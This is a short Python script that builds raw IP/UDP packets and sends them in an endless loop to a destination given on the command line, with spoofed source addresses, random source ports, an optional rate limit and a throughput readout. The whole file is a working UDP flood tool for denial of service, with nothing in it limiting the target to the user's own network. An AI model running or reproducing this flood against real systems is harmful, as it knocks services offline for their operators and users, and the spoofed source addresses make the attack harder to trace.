import dpkt
import ipaddr
import os
import random
import socket
import struct
import sys
import time
IP_HDR = struct.Struct('! BBH HH BBH 4s 4s')
UDP_HDR = struct.Struct('! HH HH')
def udpflood (dst, rate=None):
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
daddr = ipaddr.IPAddress(dst).packed
dport = 1337
ttl = 64
t0 = time.time()
t1 = 0.0
count = 0
size = 0
while True:
saddr = 'ABC' + os.urandom(1)
sport = random.randint(1, 2**16 - 1)
# UDP checksum is optional
udp_hdr = UDP_HDR.pack(sport, dport, 8, 0x1337)
# IP checksum is filled in by kernel raw socket
ip_hdr = IP_HDR.pack(
0x45, 0x00, IP_HDR.size + UDP_HDR.size + 0,
0x0000, 0x0000,
ttl, dpkt.ip.IP_PROTO_UDP, 0,
saddr,
daddr,
)
pkt = ip_hdr + udp_hdr + ''
sock.sendto(pkt, (dst, 0))
# stats
count += 1
size += len(pkt)
t = time.time() - t0
if rate and count % 1000:
over = count - t * rate
if over > 0:
#sys.stdout.write('.')
time.sleep(over / rate)
if t - t1 > 1.0:
sys.stdout.write('%8.2fs: %8d @ %8.2f/s = %8.2fM @ %5d/pkt\n' % (t, count, count / t, size / 1e6, size / count))
t1 = t
return 0
def main (argv):
prog = argv.pop(0)
dst = argv.pop(0)
if argv:
rate = int(argv.pop(0))
else :
rate = None
return udpflood(dst, rate)
if __name__ == '__main__':
sys.exit(main(sys.argv))